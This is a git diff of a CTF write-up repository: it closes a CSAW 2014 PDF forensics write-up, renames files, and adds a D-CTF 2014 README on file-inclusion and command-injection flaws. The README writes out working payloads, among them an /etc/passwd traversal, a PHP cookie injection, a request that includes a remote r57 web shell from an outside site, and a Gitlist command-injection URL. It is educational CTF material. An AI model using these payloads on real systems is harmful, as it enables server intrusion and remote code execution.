**8**: + +```sh +$ ./pdf-parser.py --object 8 --raw --filter announcement.pdf +obj 8 0 + Type: /EmbeddedFile + Referencing: + Contains stream + + << + /Length 212 + /Type /EmbeddedFile + /Filter /FlateDecode + /Params + << + /Size 495 + /Checksum <7f0104826bde58b80218635f639b50a9> + >> + /Subtype /application/pdf + >> + + var _0xee0b=["\x59\x4F\x55\x20\x44\x49\x44\x20\x49\x54\x21\x20\x43\x4F\x4E\x47\x52\x41\x54\x53\x21\x20\x66\x77\x69\x77\x2C\x20\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x20\x6F\x62\x66\x75\x73\x63\x61\x74\x69\x6F\x6E\x20\x69\x73\x20\x73\x6F\x66\x61\x20\x6B\x69\x6E\x67\x20\x64\x75\x6D\x62\x20\x20\x3A\x29\x20\x6B\x65\x79\x7B\x54\x68\x6F\x73\x65\x20\x46\x6C\x75\x66\x66\x79\x20\x42\x75\x6E\x6E\x69\x65\x73\x20\x4D\x61\x6B\x65\x20\x54\x75\x6D\x6D\x79\x20\x42\x75\x6D\x70\x79\x7D"];var y=_0xee0b[0]; + +``` +Which *finally* leads to our flag! +```python +>>> print("\x59\x4F\x55\x20\x44\x49\x44\x20\x49\x54\x21\x20\x43\x4F\x4E\x47\x52\x41\x54\x53\x21\x20\x66\x77\x69\x77\x2C\x20\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x20\x6F\x62\x66\x75\x73\x63\x61\x74\x69\x6F\x6E\x20\x69\x73\x20\x73\x6F\x66\x61\x20\x6B\x69\x6E\x67\x20\x64\x75\x6D\x62\x20\x20\x3A\x29\x20\x6B\x65\x79\x7B\x54\x68\x6F\x73\x65\x20\x46\x6C\x75\x66\x66\x79\x20\x42\x75\x6E\x6E\x69\x65\x73\x20\x4D\x61\x6B\x65\x20\x54\x75\x6D\x6D\x79\x20\x42\x75\x6D\x70\x79\x7D") +YOU DID IT! CONGRATS! fwiw, javascript obfuscation is sofa king dumb :) key{Those Fluffy Bunnies Make Tummy Bumpy} +``` + +--- +## Finding the Second Hex-encoded String: Approach II + +There is a nice tool called [qpdf] that can be very useful here: +```sh +$ sudp yum install qpdf +``` + +Now, we just do the following conversion: +```sh +$ qpdf --qdf announcement.pdf unpacked.pdf +``` + +Opening *unpacket.pdf* with [l3afpad] also leads to the flag : + +``` +stream +var _0xee0b=["\x59\x4F\x55\x20\x44\x49\x44\x20\x49\x54\x21\x20\x43\x4F\x4E\x47\x52\x41\x54\x53\x21\x20\x66\x77\x69\x77\x2C\x20\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x20\x6F\x62\x66\x75\x73\x63\x61\x74\x69\x6F\x6E\x20\x69\x73\x20\x73\x6F\x66\x61\x20\x6B\x69\x6E\x67\x20\x64\x75\x6D\x62\x20\x20\x3A\x29\x20\x6B\x65\x79\x7B\x54\x68\x6F\x73\x65\x20\x46\x6C\x75\x66\x66\x79\x20\x42\x75\x6E\x6E\x69\x65\x73\x20\x4D\x61\x6B\x65\x20\x54\x75\x6D\x6D\x79\x20\x42\x75\x6D\x70\x79\x7D"];var y=_0xee0b[0]; +endstream +endobj +``` + + + + +[MySQL database dump file]:http://dev.mysql.com/doc/refman/5.0/en/mysqldump-sql-format.html +[CSAW CTF 2014 Forensic -Obscurity]: http://https://singularity-sh.vercel.app/forensics-200-obscurity.html +[online hex-decode]: http://ddecode.com/hexdecoder/ +[which we can just google]: http://phpxref.ftwr.co.uk/wordpress/wp-content/themes/twentythirteen/js/html5.js.source.html +[Tailing]: http://en.wikipedia.org/wiki/Tail_(Unix) +[phpMyAdmin]: http://www.phpmyadmin.net/home_page/index.php +[qpdf]: http://qpdf.sourceforge.net/ +[l3afpad]: http://tarot.freeshell.org/leafpad/ +[diff]: http://linux.die.net/man/1/diff +[MySQL database dump file]: http://dev.mysql.com/doc/refman/5.1/en/mysqldump.html +[Linux File System]: http://www.tldp.org/LDP/intro-linux/html/sect_03_01.html +[LAMP server]: https://coderwall.com/p/syyk0g?i=5&p=1&q=author%3Abt3gl&t%5B%5D=bt3gl +[CSAW2014-FluffyNoMore-v0.1.tar.bz2]: https://ctf.isis.poly.edu/static/uploads/649bdf6804782af35cb9086512ca5e0d/CSAW2014-FluffyNoMore-v0.1.tar.bz2 +[bzip2]: http://en.wikipedia.org/wiki/Bzip2 +[cute website]: http://ww17.blog.eyeheartfluffybunnies.com/?fp=Tnxj5vWdcChO2G66EhCHHqSAdskqgQmZEbVQIh1DCmrgCyQjbeNsPhkvCpIUcP19mwOmcCS1hIeFb9Aj3%2FP4fw%3D%3D&prvtof=RyfmkPY5YuWnUulUghSjPRX510XSb9C0HJ2xsUn%2Fd3Q%3D&poru=jcHIwHNMXYtWvhsucEK%2BtSMzUepfq46Tam%2BwGZBSFMjZiV2p3eqdw8zpPiLr76ixCoirz%2FR955vowRxEMBO%2FoQ%3D%3D&cifr=1&%22 +[blog]: http://ww17.blog.eyeheartfluffybunnies.com +[hashcat]: http://hashcat.net/hashcat/ +[file]: http://en.wikipedia.org/wiki/File_(command) +[Kali]: http://www.kali.org/ +[Node]: http://nodejs.org/ + diff --git a/CTFs_and_WarGames/2014/CSAW-quals/forensics/big-data/README.md b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/big-data/README.md similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/forensics/big-data/README.md rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/big-data/README.md diff --git a/CTFs_and_WarGames/2014/CSAW-quals/forensics/big-data/firefox.mem.zip b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/big-data/firefox.mem.zip similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/forensics/big-data/firefox.mem.zip rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/big-data/firefox.mem.zip diff --git a/CTFs_and_WarGames/2014/CSAW-quals/forensics/fluffy/CSAW2014-FluffyNoMore-v0.1.tar.bz2 b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/fluffy/CSAW2014-FluffyNoMore-v0.1.tar.bz2 similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/forensics/fluffy/CSAW2014-FluffyNoMore-v0.1.tar.bz2 rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/fluffy/CSAW2014-FluffyNoMore-v0.1.tar.bz2 diff --git a/CTFs_and_WarGames/2014/CSAW-quals/forensics/fluffy/README.md b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/fluffy/README.md similarity index 99% rename from CTFs_and_WarGames/2014/CSAW-quals/forensics/fluffy/README.md rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/fluffy/README.md index 9fa4bf3..8dd1990 100644 --- a/CTFs_and_WarGames/2014/CSAW-quals/forensics/fluffy/README.md +++ b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/fluffy/README.md @@ -547,7 +547,7 @@ endobj [MySQL database dump file]:http://dev.mysql.com/doc/refman/5.0/en/mysqldump-sql-format.html -[CSAW CTF 2014 Forensic -Obscurity]: https://gist.github.com/bt3gl/4574e99fe0f0dbdb56a9 +[CSAW CTF 2014 Forensic -Obscurity]: https://gist.github.com/Mia-Stein/4574e99fe0f0dbdb56a9 [online hex-decode]: http://ddecode.com/hexdecoder/ [which we can just google]: http://phpxref.ftwr.co.uk/wordpress/wp-content/themes/twentythirteen/js/html5.js.source.html [Tailing]: http://en.wikipedia.org/wiki/Tail_(Unix) diff --git a/CTFs_and_WarGames/2014/CSAW-quals/forensics/fluffy/analytics.js b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/fluffy/analytics.js similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/forensics/fluffy/analytics.js rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/fluffy/analytics.js diff --git a/CTFs_and_WarGames/2014/CSAW-quals/forensics/fluffy/announcemen.pdf b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/fluffy/announcemen.pdf similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/forensics/fluffy/announcemen.pdf rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/fluffy/announcemen.pdf diff --git a/CTFs_and_WarGames/2014/CSAW-quals/forensics/fluffy/html5.js b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/fluffy/html5.js similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/forensics/fluffy/html5.js rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/fluffy/html5.js diff --git a/CTFs_and_WarGames/2014/CSAW-quals/forensics/fluffy/pdf-parser.py b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/fluffy/pdf-parser.py similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/forensics/fluffy/pdf-parser.py rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/fluffy/pdf-parser.py diff --git a/CTFs_and_WarGames/2014/CSAW-quals/forensics/fluffy/unpacked.txt b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/fluffy/unpacked.txt similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/forensics/fluffy/unpacked.txt rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/fluffy/unpacked.txt diff --git a/CTFs_and_WarGames/2014/CSAW-quals/forensics/obscurity/README.md b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/obscurity/README.md similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/forensics/obscurity/README.md rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/obscurity/README.md diff --git a/CTFs_and_WarGames/2014/CSAW-quals/forensics/obscurity/pdf-parser.py b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/obscurity/pdf-parser.py similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/forensics/obscurity/pdf-parser.py rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/obscurity/pdf-parser.py diff --git a/CTFs_and_WarGames/2014/CSAW-quals/forensics/obscurity/pdf.pdf b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/obscurity/pdf.pdf similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/forensics/obscurity/pdf.pdf rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/obscurity/pdf.pdf diff --git a/CTFs_and_WarGames/2014/CSAW-quals/forensics/obscurity/pdfid.py b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/obscurity/pdfid.py similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/forensics/obscurity/pdfid.py rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/obscurity/pdfid.py diff --git a/CTFs_and_WarGames/2014/CSAW-quals/forensics/why-not-sftp/README.md b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/why-not-sftp/README.md similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/forensics/why-not-sftp/README.md rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/why-not-sftp/README.md diff --git a/CTFs_and_WarGames/2014/CSAW-quals/forensics/why-not-sftp/traffic-5.pcap b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/why-not-sftp/traffic-5.pcap similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/forensics/why-not-sftp/traffic-5.pcap rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/why-not-sftp/traffic-5.pcap diff --git a/CTFs_and_WarGames/2014/CSAW-quals/networking/README.md b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/networking/README.md similarity index 95% rename from CTFs_and_WarGames/2014/CSAW-quals/networking/README.md rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/networking/README.md index 94a479f..a9ca8e3 100644 --- a/CTFs_and_WarGames/2014/CSAW-quals/networking/README.md +++ b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/networking/README.md @@ -1,7 +1,6 @@ -#Networking-100: Big Data +# Networking-100: Big Data -This is the only networking problem, and it is only 100 points, so it turned out to be very easy. The problem starts with the following text: diff --git a/CTFs_and_WarGames/2014/CSAW-quals/networking/pcap.pcapng b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/networking/pcap.pcapng similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/networking/pcap.pcapng rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/networking/pcap.pcapng diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/README.md b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/README.md similarity index 98% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/README.md rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/README.md index 8b599aa..10a6d3e 100644 --- a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/README.md +++ b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/README.md @@ -126,9 +126,7 @@ while True: # flag{trust_is_risky} ``` -Yaaay! The flag is **trust_is_risky**! Easy! - -**Hack all the things!** + The flag is **trust_is_risky**! Easy! [uncompyle2]: https://github.com/gstarnberger/uncompyle diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/capstone.py b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/capstone.py similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/capstone.py rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/capstone.py diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/distorm.py b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/distorm.py similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/distorm.py rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/distorm.py diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/interpreter.py b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/interpreter.py similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/interpreter.py rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/interpreter.py diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/lol.py b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/lol.py similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/lol.py rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/lol.py diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/main.py b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/main.py similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/main.py rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/main.py diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm.py b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm.py similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm.py rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm.py diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/.DS_Store b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/.DS_Store similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/.DS_Store rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/.DS_Store diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/LICENSE b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/LICENSE similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/LICENSE rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/LICENSE diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/nasm.exe b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/nasm.exe similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/nasm.exe rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/nasm.exe diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/ndisasm.exe b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/ndisasm.exe similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/ndisasm.exe rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/ndisasm.exe diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/ldrdf.exe b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/ldrdf.exe similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/ldrdf.exe rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/ldrdf.exe diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2bin.exe b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2bin.exe similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2bin.exe rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2bin.exe diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2com.exe b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2com.exe similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2com.exe rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2com.exe diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2ihx.exe b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2ihx.exe similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2ihx.exe rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2ihx.exe diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2ith.exe b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2ith.exe similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2ith.exe rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2ith.exe diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2srec.exe b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2srec.exe similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2srec.exe rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2srec.exe diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdfdump.exe b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdfdump.exe similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdfdump.exe rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdfdump.exe diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdflib.exe b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdflib.exe similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdflib.exe rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdflib.exe diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdx.exe b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdx.exe similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdx.exe rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdx.exe diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/server.py b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/server.py similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/server.py rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/server.py diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/shellcode.py b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/shellcode.py similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/shellcode.py rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/shellcode.py diff --git a/CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/wrapper.py b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/wrapper.py similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/wrapper.py rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/wrapper.py diff --git a/CTFs_and_WarGames/CTFs_Writeups/DefCamp/README.md b/CTFs_and_WarGames/CTFs_Writeups/DefCamp/README.md new file mode 100644 index 0000000..5154b3d --- /dev/null +++ b/CTFs_and_WarGames/CTFs_Writeups/DefCamp/README.md @@ -0,0 +1,381 @@ +# Exploring D-CTF Quals 2014's Exploits + +## Vulnerabilities + + + +### Remote File Inclusion and Local File Inclusion Vulnerabilities + +In [Remote File Inclusion] (RFI) an attacker can load exploits to the server. An attacker can use RFI to run exploits in both server and client sides. PHP's [include()](http://php.net/manual/en/function.include.php) is extremely vulnerable to RFI attacks. + + +[Local File Inclusion](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion) (LFI) is similar to RFI but only files that are currently in the server can be included. This type of vulnerability is seemed in forms for file uploading (with improper sanitation). + +An example of RFI exploitation is the case where the form only accepts some type of extensions (such as JPG or PNG) but the verification is made in the client side. In this case, an attacker can tamper the HTTP requests to send shellcode (with PHP extension, for example). I've shown examples of this attack in the [Natas post]. There I've explained that the trick was to rename a PHP shell code to one of these safe extensions. + + +[Remote File Inclusion]: http://projects.webappsec.org/w/page/13246955/Remote%20File%20Inclusion + + + + +### TimThumb and LFI + +[TimThumb] is a PHP script for manipulating web images. It was recently [discontinued because of security issues]. + +With TimThumb 1.33, an attacker is able to upload a shell by appending it to an image. All she needs to do is to have it in some online subdomain. TimThumb will store this image in a cache folder and generate an MD5 of the full path of the shell. The last step is to perform an LFI attack with the shell in this folder. Check this [example of LFI exploitation](http://kaoticcreations.blogspot.com/2011/12/lfi-tip-how-to-read-source-code-using.html). + + + +[TimThumb]: https://code.google.com/p/timthumb/ +[discontinued because of security issues]:http://www.binarymoon.co.uk/2014/09/timthumb-end-life/ + + + + + +### CMS Mini and RFI + + +[CMS Mini] is a file system to build simple websites. It has [several vulnerabilities] such as [CSRF], RFI, and [XSS]. + +[CSRF]: https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF) +[XSS]: https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) + + +An example of RFI vulnerability in CMS Mini is explored using curl: + +```http +http:// +[target/IP]/cmsmini/admin/edit.php?path=&name=../../../../../etc/passwd +``` + +For more examples of exploits, check [1337day] and [this exploit-db]. + +[1337day]: http://1337day.com/exploit/3256 +[several vulnerabilities]: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-2961 + +[this exploit-db]: http://www.exploit-db.com/exploits/28128/ +[CMS Mini]: http://www.mini-print.com/ + + + + + + + + + + + + + + + + +### ApPHP and Remote Code Execution + +[ApPHP](http://www.apphp.com/) is a blog script. It is known for having [several vulnerabilities], including [remote code execution] (RCE). An example of RCE exploit for ApPHP [can be seen here]. A good start is to check the PHP's [disable_function](http://php.net/manual/en/ini.core.php#ini.disable-functions) list for stuff to hacker the server. + +[several vulnerabilities]: http://www.exploit-db.com/exploits/33030/ +[remote code execution]: https://www.owasp.org/index.php/PHP_Top_5#P1:_Remote_Code_Execution + +[can be seen here]: http://www.exploit-db.com/exploits/33070/ + + + +In this CTF, the challenge was to find what was not in that list. For instance, it was possible to use [$_POST](http://php.net/manual/en/reserved.variables.post.php) and [$_COOKIE](http://php.net/manual/en/reserved.variables.cookies.php) to send strings to functions such as [scandir()](http://php.net/manual/en/function.scandir.php) and [get_file_contents()](http://php.net/manual/en/function.file-get-contents.php): + +```http +GET Request: ?asdf);print_r(scandir(implode($_COOKIE))=/ +Cookie: 0=include +``` + +In addition, with a writable directory we can drop a shell in the server (you can use script-kiddies scripts like [r57 shell.net](http://www.r57shell.net/), but in real life, keep in mind that they are super uber [backdoored](http://thehackerblog.com/hacking-script-kiddies-r57-gen-tr-shells-are-backdoored-in-a-way-you-probably-wouldnt-guess/#more-447)). + +```http +Post Request: 0=include/myfile.php +Cookie: 0=http://www.r57shell.net/shell/r57.txt +``` + + +### Gitlist and Remote Command Execution + +[Gitlist] is an application to browse GitHub repositories in a browser. The versions up to 5.0 are known for [allowing remote attackers to execute arbitrary commands via shell], a type of [command injection]. Exploits for this vulnerability can be seen at [hatriot], at [packet storm], at [1337day], and at [exploit-db]. + +In this CTF, the following command could be used to look for the flag: + +```http +http://10.13.37.33/gitlist/redis/blame/unstable/README%22%22%60ls%20-al%60 +``` + + +[exploit-db]: http://www.exploit-db.com/exploits/33990/ +[1337day]: http://en.1337day.com/exploit/22391 +[packet storm]: http://packetstormsecurity.com/files/127364/Gitlist-Unauthenticated-Remote-Command-Execution.html +[hatriot]: http://hatriot.github.io/blog/2014/06/29/gitlist-rce/ +[command injection]: http://cwe.mitre.org/data/definitions/77.html +[allowing remote attackers to execute arbitrary commands via shell]: http://www.websecuritywatch.com/arbitrary-command-execution-in-gitlist/ +[Gitlist]: http://gitlist.org/ + + +### LibreOffice's Socket Connections + +LibreOffice's has a binary [soffice.bin] that takes socket connections on the *port 2002* (in this CTF, in the VPN's localhost). + +For instance, the command [unoconv] can be used to convert a file to a LibreOffice supported format. 